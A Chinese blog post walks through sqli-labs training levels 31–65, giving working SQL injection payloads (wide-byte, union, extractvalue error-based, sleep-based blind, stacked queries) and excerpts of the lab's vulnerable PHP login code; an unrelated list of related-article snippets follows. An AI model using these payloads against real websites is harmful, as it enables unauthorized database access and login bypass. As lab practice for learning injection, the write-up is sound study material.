当前位置: 首页 > news >正文

sqli靶场完结篇!!!!

靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!!

31.多个)号

先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc

321313132"+union+select+2,user(),"2

于是你就会又见到熟悉的朋友,于是就能猜到又有)(这种东西

换句poc?发现就能成功bypasss

321313132")+union+select+2,user(),("2

32.宽字节注入

当我们添加一个' 就能看见这样的回显

那就想都不用想,就是宽字节注入,于是就猜测是不是字符型,其实如果他把注释符号也过滤了的话那就是绝杀了,但是好险他不过滤

于是我们就构造poc ,但是这里的盲注poc是不行的,因为会被转义 所以要联合查询

33.你三十二关再考我一次是吧?

这题还以为有什么过滤,结果发现和上一关一摸一样

                         玩我是吧

34.宽字节登录

首先我们能看见一个登录界面,不用想,肯定是要我们免密码登录

由于先测试一下注入的姿势,能发现是宽字节的过滤

于是就有poc:

admin%df'or+1=1--+

成功登录

35.why_care_for_addslahes()

做这题真就有种打ctf的感觉了,有意思       

首先一顿操作猛如虎,先加一个单引号,猜测是宽字节

然后就发现为啥啥都过滤但是却报错???

无意间我瞅了一眼网页标签,然后就就开始笑了,我们判断字符注入的方法是什么?你肯定会说

 :“单引号报错,两个引号不报错

不错,确实是这样的,但是对应宽字节呢??来看宽字节的绕过过程

  1. 原来:select * from users where id='1' ;
  2. 开始注入: select * from users where id='1 %df/ '  %df/'   ';
  3. 然后就会被解释成 select * from users where id='1運'  運'';

这是候的sql语句是肯定是错的 因为 中间多了一个中文字 所以我们根本无法根据报错来判断注入类型   也就是这个可能是字符型或者数字型!!!! 不信 不妨试试数字型的poc

0+union+select+1,database(),user()--+

所以这就是他的网页名的来由:why_care_addslashes的原因 与这个函数根本就没有关系!!

36.mysql_real_escape_string

这个函数和addslashes差不都是对一些特定的字符添加一个 / 并且拼接 ,所以他的poc和前面差不多,(或者说是一摸一样)

0%df'+union+select+1,user(),database()--+

37.你三十四关又又又考完一次是吧??

这个和三十四关又是一样的

我belike: 不多说,直接上poc

admin%df'+or+1=1--+

38.堆叠注入

这个我在我之前的blog里面讲过,就不多赘述了

39.堆叠注入但是数字型

这个其实就是堆叠注入的数字型 比字符型还简单 也不多赘述了

                        

40.Seems 这个代码有点问题??

做这一关的时候,小编是有一点疑惑,因为你会发现这一关的poc可以无限写

0')union+select+1,database(),user()--+
1')and+length(database())=8--+
0')union+select+1,user(),database()--+

你就会发现,他们都是可以的,难道这一关就止步于此???

于是就去看了一下他的源代码,发现好家伙,代码还不少,那不因该毫无新意啊!?

访问login.php,发现报错

于是我就发现问题出现在了login.php那里,一起来看代码

$login = sqllogin();
if (!$login== 0) 
{$_SESSION["username"] = $login;setcookie("Auth", 1, time()+3600);  /* expire in 15 Minutes */header('Location: logged-in.php');
} 
else
{
?>
<tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">
<center>
<img src="../images/slap1.jpg">
</center>
</p></td></tr>
<?PHP
} 

其中slap1.jpg就是我们看见的那张照片,所以可以知道$login=0,而$login又是通过sqllogin函数实现的,那么我们去看一下sqllogin函数就好

function sqllogin(){$username = mysql_real_escape_string($_POST["login_user"]);$password = mysql_real_escape_string($_POST["login_password"]);$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');$row = mysql_fetch_row($res);print_r($row) ;if ($row[1]) {echo $row[1];} else {return 0;}}

来审计一下代码:

  • 首先就是mysql_real_escape_string函数,用来将特殊字符转义
  • 接着就是查询
  • 如果查询成功就将得到的第一行结果输出,否则就输出You tried to be real smart, Try harder!!!! :(  然后结束程序
  • 但是如果我们的login_user和login_password不设置值的话就会返回0 也就是我们现在所看见的页面情况

所以就在url拼接login_user 和 login_password这两个字段就好

但是不难发现就算将这两个字段拼接上也好,也还是报错,因该是还缺了什么参数,不管了下一题

41.考了个啥,还是堆叠???

这道题也是做的云里雾里的,啥都不过滤,一句poc就注出来了

查看了源代码才发现原来是堆叠注入,那也不多赘述了

42.Password字段没有过滤

尝试一下,发现在账号处无论怎么测试都没有发现注入点,于是就去试一下密码处,成功报错

于是就开始我们的poc

password=1'+or+1='1 

其实这里也可以进行堆叠查询,因为这里也包含mysqli_mutil_query这个函数!!

43.还是多一个()

这题其实和上一题一模一样 就是多一个() 先上poc

password=admin')or+1=1--+

然后不知道你们会不会感到有点奇怪,对于拼接之后的那个句子结构

$sql = "SELECT * FROM users WHERE username=('111') and password=('admin') or 1=1 ";

于是我就去跑去问了一下chatgpt 结果他给到了我这样一个回答

admin'+or+1=1--+

soga~~~原来如此

44.和四十二关一样

不知道为什么他的答案和四十二关一样,那就直接上poc了

password=admin'+or+1=1--+

45.又是多个()

这个题思路和上一关一样,只不过得到的字段被()包裹,所以直接上poc

login_password=admin')or+1=1--+

46.报错,报错

这一题有点新颖,这种一看就知道是order by的查询语句

其实这种还挺难搞

  • 首先,它不能拼接select 这种语句,因为orderby 要放在句子的末尾
  • 然后,就是拼接 and 1=1 或者 and 1=2 这种语句对查询结果不影响 
  • 而且源代码里面还不存在堆叠注入的点

所以这里只能报错注入了,上poc

3+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))--+

 

这样就能爆出他的数据库,如果它不返回报错信息的话那么就基本上不存在注入了

47.多了个' 号

这题其实就是和上面的那一题一样 只不过多一个 ' 而已

3'+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))

48.盲注

这题更离谱,它直接啥都不给你了,于是可以盲注

3'+and+sleep(1)

但是我很好奇,就算盲注成功,那攻击者也获取不了它的数据库信息啊?所以这个sql注入有什么用????

                                

49.和上一关一样,但是字符型

这一关就和上一关一样,不过是字符型

50.可以堆叠,但是条件苛刻

这一关是可以进行堆叠注入的 ,但是你返回的值要满足这样

if ($result = mysqli_store_result($con1)){while($row = mysqli_fetch_row($result)){echo '<font color= "#00FF11" size="3">';		echo "<tr>";echo "<td>";printf("%s", $row[0]);echo "</td>";echo "<td>";printf("%s", $row[1]);echo "</td>";echo "<td>";printf("%s", $row[2]);echo "</td>";echo "</tr>";echo "</font>";		}

能成功地返回这样的结果,也可谓是十分困难了吧

51.我选择报错

这一关就直接报错注入就好了

1'and+extractvalue(1,(concat(0x7e,database(),0x7e)))--+

52.我选择延时注入

poc:

sort=1+and+sleep(1) 

53.我还是选择延时注入

poc:

1'+and+sleep(4324324342)--+

54.你能在十次以内做出来吗???

这个其实有点在故弄玄虚,其实就是一个普通的注入,不要想太多 poc:

111111'+union+select+1,database(),user()--+ 

 你怎么知道我刚好在第十次猜出来了哈哈哈

55. 正常注入

还是和上面一样多试试就出来了

32131313123122)%20union%20select%201,database(),user()--+

56.多一个 ' 无伤大雅

这个其实就是我们前面练的多的,不多说

)+union+select+1,user(),('1 

57.换成" 还是无伤大雅

不多说,救赎之道,就在标题 上poc

?id=3213113211"%20union+select%201,user(),database()--+

58.??再看多一眼??

这题一开始没做出来,去看了题解,才恍然大雾

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">';	$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");$pass = array_reverse($unames);echo 'Your Login name : '. $unames[$row['id']];echo "<br>";echo 'Your Password : ' .$pass[$row['id']];echo "</font>";

看似一切正常,啥都不过滤,但是细看发现:     
   你的输出是什么鬼?????

所以这里只能报错注入了

1' and extractvalue(1,(concat(0x7e,database(),0x7e))) --+

 59.数字型的58关

不多赘述 ,"救赎之道,就在标题 " 

60.变成了 ")

poc:

id=1")%20and%20extractvalue(1,(concat(0x7e,database(),0x7e)))%20--+

61.你没题出了是吧???

不多说,先来看看源码

$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

 不是,出题人,你无聊是吧搞这些 给我弄两个括号,所以就能上poc了

id=1%27))and%20extractvalue(1,(concat(0x7e,(database()),0x7e)))--+

62.没有回显,但是延时注入

这一关是没有回显的,所以我们可以采用sleep来注入

id=1') and sleep(21)--+

63.还是62关,但是没有括号

这一关只是没有括号而已

?id=1%27and%20sleep(323)--+

64.又是))是吧???

这里的话就是还是有((这样的逆天玩意 ,所以我们直接上poc就好

?id=1))and%20if(length(database())=10,1,0)=1--+

65.完结撒花,但是有 "

这里也是不多说,直接上poc:

id=1")and%20if(length(database())=10,1,0)=1--+

终于,up的sqli靶场打完了 ,打的人都快麻了  ,先存一下小编的笔记,以后回来复习(如果记得的话)

        ​​​​​​​        ​​​​​​​        

相关文章:

sqli靶场完结篇!!!!

靶场&#xff0c;靶场&#xff0c;一个靶场打一天&#xff0c;又是和waf斗智斗勇的一天&#xff0c;waf我和你拼啦&#xff01;&#xff01; 31.多个)号 先是一套基本的判断 &#xff0c;发现是字符型&#xff0c;然后发现好像他什么都不过滤&#xff1f;于是开始poc 3213131…...

堆结构的解读

对于数据结构堆来说&#xff0c;堆事一种特定的数据结构&#xff0c;其与二叉树非常类似&#xff0c;但是又与二叉树有所不同&#xff0c;其不同点在于堆不需要左右指针指向孩子节点&#xff0c;而给定一个数组&#xff0c;将数组中的元素进行特定排序之后&#xff0c;就可以得…...

7、Qt5开发及实列(笔记)

文章目录 第二章 Qt5模板库、工具类及控件2.2 容器类2.2.1 QList类 # 2.3 QVariant类 #2.4 算法及正则表达式2.5控件 第二章 Qt5模板库、工具类及控件 2.2 容器类 2.2.1 QList类 //2.2容器类 - QList类QList<QString> list;//声明了一个QList<QString>栈对象{QSt…...

FPGA_ip_Rom

一 理论 Rom存储类ip核&#xff0c;Rom是只读存储器的简称&#xff0c;是一种只能读出事先存储数据的固态半导体存储器。 特性&#xff1a; 一旦储存资料&#xff0c;就无法再将之改变或者删除&#xff0c;且资料不会因为电源关闭而消失。 单端口Rom: 双端口rom: 二 Rom ip核…...

5-3、S曲线生成器【51单片机+L298N步进电机系列教程】

↑↑↑点击上方【目录】&#xff0c;查看本系列全部文章 摘要&#xff1a;本节介绍步进电机S曲线生成器的计算以及使用 一.计算原理 根据上一节内容&#xff0c;已经计算了一条任意S曲线的函数。在步进电机S曲线加减速的控制中&#xff0c;需要的S曲线如图1所示&#xff0c;横…...

Google开源项目风格指南——Java

Google Java Style Guide 谷歌 Java 风格指南 谷歌 Java 风格指南1 简介1.1 术语说明1.2 指导说明 2 源文件基础知识2.1 文件名2.2 文件编码&#xff1a;UTF-82.3 特殊字符2.3.1 空白字符2.3.2 特殊转义序列2.3.3 非ASCII字符 3 源文件结构3.1 许可或版权信息&#xff08;如果存…...

数字图像处理与Python语言实现-常见图像特效(二)

文章目录 9、Splash滤镜10、双色调(Duo-Tone)滤镜11、日光(Daylight)滤镜12、60sTVs效果13、高对比度14、棕褐色/复古滤镜15、晕影效果16、模糊滤镜17、浮雕边缘9、Splash滤镜 在Splash滤镜中,仅某些颜色保持原样,其余颜色转换为灰度。 为了执行此操作,我们将在 HSV 颜…...

学习方法分享

工作上的代码实现&#xff0c;不要过度设计&#xff0c;不要想着炫技&#xff0c;要简单务实&#xff0c;“大道至简”。 学习一个方向&#xff08;模块化&#xff09;的知识&#xff0c;不经意间就会涉及到另一个领域&#xff0c;比如从消息队列存储的顺序读/写&#xff0c;延…...

Python学习路线 - Python高阶技巧 - 拓展

Python学习路线 - Python高阶技巧 - 拓展 闭包闭包注意事项 装饰器装饰器的一般写法(闭包写法)装饰器的语法糖写法 设计模式单例模式工厂模式 多线程进程、线程并行执行多线程编程threading模块 网络编程Socket客户端和服务端Socket服务端编程实现服务端并结合客户端进行测试 S…...

qt在pro文件中设置utf-8编码

在 Qt 的 .pro 文件中设置使用 UTF-8 编码&#xff0c;可以通过在 .pro 文件中添加以下内容来实现&#xff1a; QMAKE_CXXFLAGS -source-charset UTF-8 QMAKE_CXXFLAGS -execution-charset UTF-8这样设置后&#xff0c;Qt 会将源代码和执行时的字符集都设置为 UTF-8 编码。这…...

如何在 emacs 上开始使用 Tree-Sitter(windows)

文章目录 如何在emacs上开始使用Tree-Sitter&#xff08;windows&#xff09; 如何在emacs上开始使用Tree-Sitter&#xff08;windows&#xff09; 参考&#xff1a;“How to Get Started with Tree-Sitter”。 首先要有一个可运行的emacs&#xff0c;并且它支持Tree-Sitter&…...

Qt 数据库操作V1.0

1、pro文件 QT sql2、h文件 #ifndef DATABASEOPERATION_H #define DATABASEOPERATION_H#include <QSqlDatabase> #include <QSqlQuery> #include <QSqlError> #include <QSqlRecord> #include <QDebug> #include <QVariant>clas…...

【Eclipse插件开发】3工作台workbench探索【上篇】

3工作台workbench探索 文章目录 3工作台workbench探索前言视图编辑器一、工作台Workbench入门工作台页透视图视图和编辑器二、使用命令的基本工作台扩展点2.1 org.eclipse.ui.views2.2 org.eclipse.ui.editors编辑器和内容大纲2.3 org.eclipse.ui.comm...

201912CSPT5魔数

题意&#xff1a;有一个从 1 1 1到 n n n的连续序列&#xff0c;有 q q q次查询,对区间操作 [ l , r ] [l,r] [l,r]&#xff1a; 1. 输出 s f ( A l ) f ( A l 1 ) . . . f ( A r ) , f ( x ) ( x 1.输出sf(A_l)f(A_{l1})...f(A_r),f(x)(x 1.输出sf(Al​)f(Al1​)...f(A…...

Pycharm python用matplotlib 3D绘图显示空白解决办法

问题原因&#xff1a; matplotlib版本升级之后显示代码变了&#xff0c;修改为新的 # ax Axes3D(fig) # 原代码 ax fig.add_axes(Axes3D(fig)) # 新代码import numpy as np import matplotlib.pyplot as plt from matplotlib import cm from mpl_toolkits.mplot3d import Ax…...

java hello world

1、java IDEA工具安装&#xff1a; helloworld &#xff1a; package com.company;public class Main {public static void main(String[] args) {// write your code hereString a "hello world";System.out.println(a);} } java一些注意事项 1、大小写敏感 2、类…...

典型数据结构的模板实现

栈和数组 1.使用类模板实现数组结构定长数组可变数组 2.使用类模板实现栈结构 在我们初步了解编写模板类后&#xff0c;应当做一下代码练习。这节我们就做一个编写代码的补充&#xff0c;方便大家继续学习模板类的嵌套。作为新手而言&#xff0c;建议大家先写一个具体类&#x…...

Visual Studio 2022中创建的C++项目无法使用万能头<bits/stdc++.h>解决方案

目录 发现问题 解决办法 第一步 第二步 第三步 第四步 最后一步 问题解决 发现问题 如果大家也遇到下面这种问题&#xff0c;可能是没有include文件夹中没有bits/stdc.h 解决办法 第一步 打开一个C项目&#xff0c;鼠标移动至头文件上右击&#xff0c;选择转到文档或…...

webpack配置

一、很多基础方面的配置被vuecli所集成一般项目都是使用vuecli,不会真正的去从0-1进行webpack配置: 1、vuecli中的webpack基础配置: (1)入口文件默认在src/main;输出在dist; (2)集成了大量的插件和加载器:babel-loader 处理 JavaScript 文件、使用 css-loader 和 style-load…...

1 月 Web3 游戏行业概览:市场实现空前增长

作者&#xff1a;lesleyfootprint.network 今年一月&#xff0c;区块链游戏领域迎来了爆发式增长&#xff0c;活跃用户的数量大幅提升。 区块链游戏不断融合 AI 技术&#xff0c;旨在提升玩家体验并扩大其服务范围&#xff0c;公链与游戏的兼容性问题也日渐受到重视。技术革新…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…...

JavaSec-RCE

简介 RCE(Remote Code Execution)&#xff0c;可以分为:命令注入(Command Injection)、代码注入(Code Injection) 代码注入 1.漏洞场景&#xff1a;Groovy代码注入 Groovy是一种基于JVM的动态语言&#xff0c;语法简洁&#xff0c;支持闭包、动态类型和Java互操作性&#xff0c…...

【网络】每天掌握一个Linux命令 - iftop

在Linux系统中&#xff0c;iftop是网络管理的得力助手&#xff0c;能实时监控网络流量、连接情况等&#xff0c;帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...

以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:

一、属性动画概述NETX 作用&#xff1a;实现组件通用属性的渐变过渡效果&#xff0c;提升用户体验。支持属性&#xff1a;width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项&#xff1a; 布局类属性&#xff08;如宽高&#xff09;变化时&#…...

从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路

进入2025年以来&#xff0c;尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断&#xff0c;但全球市场热度依然高涨&#xff0c;入局者持续增加。 以国内市场为例&#xff0c;天眼查专业版数据显示&#xff0c;截至5月底&#xff0c;我国现存在业、存续状态的机器人相关企…...

Nuxt.js 中的路由配置详解

Nuxt.js 通过其内置的路由系统简化了应用的路由配置&#xff0c;使得开发者可以轻松地管理页面导航和 URL 结构。路由配置主要涉及页面组件的组织、动态路由的设置以及路由元信息的配置。 自动路由生成 Nuxt.js 会根据 pages 目录下的文件结构自动生成路由配置。每个文件都会对…...

k8s业务程序联调工具-KtConnect

概述 原理 工具作用是建立了一个从本地到集群的单向VPN&#xff0c;根据VPN原理&#xff0c;打通两个内网必然需要借助一个公共中继节点&#xff0c;ktconnect工具巧妙的利用k8s原生的portforward能力&#xff0c;简化了建立连接的过程&#xff0c;apiserver间接起到了中继节…...

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列&#xff0c;以便知晓哪些列包含有价值的数据&#xff0c;…...

使用LangGraph和LangSmith构建多智能体人工智能系统

现在&#xff0c;通过组合几个较小的子智能体来创建一个强大的人工智能智能体正成为一种趋势。但这也带来了一些挑战&#xff0c;比如减少幻觉、管理对话流程、在测试期间留意智能体的工作方式、允许人工介入以及评估其性能。你需要进行大量的反复试验。 在这篇博客〔原作者&a…...

C语言中提供的第三方库之哈希表实现

一. 简介 前面一篇文章简单学习了C语言中第三方库&#xff08;uthash库&#xff09;提供对哈希表的操作&#xff0c;文章如下&#xff1a; C语言中提供的第三方库uthash常用接口-CSDN博客 本文简单学习一下第三方库 uthash库对哈希表的操作。 二. uthash库哈希表操作示例 u…...